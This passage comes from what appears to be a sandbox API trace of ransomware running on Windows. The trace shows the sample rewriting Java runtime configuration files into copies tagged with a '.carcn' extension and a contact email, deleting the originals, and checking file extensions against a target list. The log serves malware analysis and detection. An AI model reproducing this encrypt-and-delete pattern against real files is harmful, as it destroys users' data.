nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xaec, lpOverlapped=0x0) returned 1 [0268.049] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0268.050] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.050] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xfc, lpOverlapped=0x0) returned 1 [0268.050] SetEndOfFile (hFile=0x540) returned 1 [0268.050] CloseHandle (hObject=0x540) returned 1 [0268.055] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.056] SetEndOfFile (hFile=0x544) returned 1 [0268.059] CloseHandle (hObject=0x544) returned 1 [0268.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.060] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0268.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.060] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.060] lstrlenW (lpString=".doc") returned 4 [0268.061] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".docx") returned 5 [0268.061] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0268.061] lstrlenW (lpString=".pdf") returned 4 [0268.061] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".xls") returned 4 [0268.061] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".xlsx") returned 5 [0268.061] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0268.061] lstrlenW (lpString=".ppt") returned 4 [0268.061] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.061] lstrlenW (lpString=".zip") returned 4 [0268.061] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".rar") returned 4 [0268.061] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".bz2") returned 4 [0268.061] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString=".7z") returned 3 [0268.061] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.061] lstrlenW (lpString=".dbf") returned 4 [0268.061] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0268.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.061] lstrlenW (lpString=".1cd") returned 4 [0268.062] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.062] lstrlenW (lpString=".jpg") returned 4 [0268.062] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.062] lstrlenW (lpString=".doc") returned 4 [0268.062] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString=".docx") returned 5 [0268.062] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0268.062] lstrlenW (lpString=".pdf") returned 4 [0268.062] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString=".xls") returned 4 [0268.062] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString=".xlsx") returned 5 [0268.062] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0268.062] lstrlenW (lpString=".ppt") returned 4 [0268.062] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.062] lstrlenW (lpString=".zip") returned 4 [0268.062] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString=".rar") returned 4 [0268.062] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0268.062] lstrlenW (lpString=".bz2") returned 4 [0268.063] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0268.063] lstrlenW (lpString=".7z") returned 3 [0268.063] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0268.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.063] lstrlenW (lpString=".dbf") returned 4 [0268.063] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0268.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.063] lstrlenW (lpString=".1cd") returned 4 [0268.063] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0268.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0268.063] lstrlenW (lpString=".jpg") returned 4 [0268.063] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0268.063] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0268.063] lstrlenW (lpString="psfontj2d.properties") returned 20 [0268.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.064] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10393) returned 1 [0268.064] CloseHandle (hObject=0x544) returned 1 [0268.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0268.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.065] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.066] GetLastError () returned 0x0 [0268.066] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2899, lpOverlapped=0x0) returned 1 [0268.305] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0268.307] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.307] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xfc, lpOverlapped=0x0) returned 1 [0268.307] SetEndOfFile (hFile=0x540) returned 1 [0268.307] CloseHandle (hObject=0x540) returned 1 [0268.313] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.314] SetEndOfFile (hFile=0x544) returned 1 [0268.316] CloseHandle (hObject=0x544) returned 1 [0268.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.317] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0268.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.318] lstrlenW (lpString=".doc") returned 4 [0268.318] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0268.318] lstrlenW (lpString=".docx") returned 5 [0268.318] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0268.318] lstrlenW (lpString=".pdf") returned 4 [0268.318] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0268.318] lstrlenW (lpString=".xls") returned 4 [0268.318] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0268.318] lstrlenW (lpString=".xlsx") returned 5 [0268.318] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0268.318] lstrlenW (lpString=".ppt") returned 4 [0268.318] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0268.318] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.318] lstrlenW (lpString=".zip") returned 4 [0268.318] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0268.318] lstrlenW (lpString=".rar") returned 4 [0268.318] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString=".bz2") returned 4 [0268.319] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString=".7z") returned 3 [0268.319] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0268.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.319] lstrlenW (lpString=".dbf") returned 4 [0268.319] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.319] lstrlenW (lpString=".1cd") returned 4 [0268.319] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.319] lstrlenW (lpString=".jpg") returned 4 [0268.319] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.319] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.319] lstrlenW (lpString=".doc") returned 4 [0268.319] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString=".docx") returned 5 [0268.319] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0268.319] lstrlenW (lpString=".pdf") returned 4 [0268.319] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString=".xls") returned 4 [0268.319] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0268.319] lstrlenW (lpString=".xlsx") returned 5 [0268.319] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0268.320] lstrlenW (lpString=".ppt") returned 4 [0268.320] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.320] lstrlenW (lpString=".zip") returned 4 [0268.320] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString=".rar") returned 4 [0268.320] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString=".bz2") returned 4 [0268.320] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString=".7z") returned 3 [0268.320] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0268.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.320] lstrlenW (lpString=".dbf") returned 4 [0268.320] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.320] lstrlenW (lpString=".1cd") returned 4 [0268.320] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0268.320] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0268.320] lstrlenW (lpString=".jpg") returned 4 [0268.320] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0268.321] lstrcmpiW (lpString1=".policy", lpString2=".carcn") returned 1 [0268.321] lstrlenW (lpString="java.policy") returned 11 [0268.321] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.322] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=2466) returned 1 [0268.322] CloseHandle (hObject=0x544) returned 1 [0268.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0268.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.323] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.323] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.323] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.323] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.324] GetLastError () returned 0x0 [0268.324] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0268.349] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0268.350] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.351] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xea, lpOverlapped=0x0) returned 1 [0268.351] SetEndOfFile (hFile=0x540) returned 1 [0268.351] CloseHandle (hObject=0x540) returned 1 [0268.357] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.359] SetEndOfFile (hFile=0x544) returned 1 [0268.366] CloseHandle (hObject=0x544) returned 1 [0268.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0268.367] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0268.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.368] lstrlenW (lpString=".doc") returned 4 [0268.368] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0268.368] lstrlenW (lpString=".docx") returned 5 [0268.368] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0268.368] lstrlenW (lpString=".pdf") returned 4 [0268.368] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0268.368] lstrlenW (lpString=".xls") returned 4 [0268.369] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0268.369] lstrlenW (lpString=".xlsx") returned 5 [0268.369] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0268.369] lstrlenW (lpString=".ppt") returned 4 [0268.369] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0268.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.369] lstrlenW (lpString=".zip") returned 4 [0268.369] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0268.369] lstrlenW (lpString=".rar") returned 4 [0268.369] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0268.369] lstrlenW (lpString=".bz2") returned 4 [0268.369] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0268.369] lstrlenW (lpString=".7z") returned 3 [0268.369] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0268.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.370] lstrlenW (lpString=".dbf") returned 4 [0268.370] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0268.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.370] lstrlenW (lpString=".1cd") returned 4 [0268.370] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0268.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.370] lstrlenW (lpString=".jpg") returned 4 [0268.370] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0268.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.370] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.370] lstrlenW (lpString=".doc") returned 4 [0268.370] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0268.371] lstrlenW (lpString=".docx") returned 5 [0268.371] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0268.371] lstrlenW (lpString=".pdf") returned 4 [0268.371] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0268.371] lstrlenW (lpString=".xls") returned 4 [0268.371] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0268.371] lstrlenW (lpString=".xlsx") returned 5 [0268.371] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0268.371] lstrlenW (lpString=".ppt") returned 4 [0268.371] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0268.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.371] lstrlenW (lpString=".zip") returned 4 [0268.371] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0268.371] lstrlenW (lpString=".rar") returned 4 [0268.371] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0268.372] lstrlenW (lpString=".bz2") returned 4 [0268.372] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0268.372] lstrlenW (lpString=".7z") returned 3 [0268.372] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0268.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.372] lstrlenW (lpString=".dbf") returned 4 [0268.372] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0268.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.372] lstrlenW (lpString=".1cd") returned 4 [0268.372] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0268.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0268.373] lstrlenW (lpString=".jpg") returned 4 [0268.373] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0268.373] lstrcmpiW (lpString1=".security", lpString2=".carcn") returned 1 [0268.373] lstrlenW (lpString="java.security") returned 13 [0268.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.374] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=36524) returned 1 [0268.374] CloseHandle (hObject=0x544) returned 1 [0268.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0268.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0268.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.375] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0268.376] GetLastError () returned 0x0 [0268.376] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x8eac, lpOverlapped=0x0) returned 1 [0268.398] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0268.405] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.405] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xee, lpOverlapped=0x0) returned 1 [0268.406] SetEndOfFile (hFile=0x540) returned 1 [0268.406] CloseHandle (hObject=0x540) returned 1 [0268.411] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.411] SetEndOfFile (hFile=0x544) returned 1 [0268.742] CloseHandle (hObject=0x544) returned 1 [0268.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.201] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program 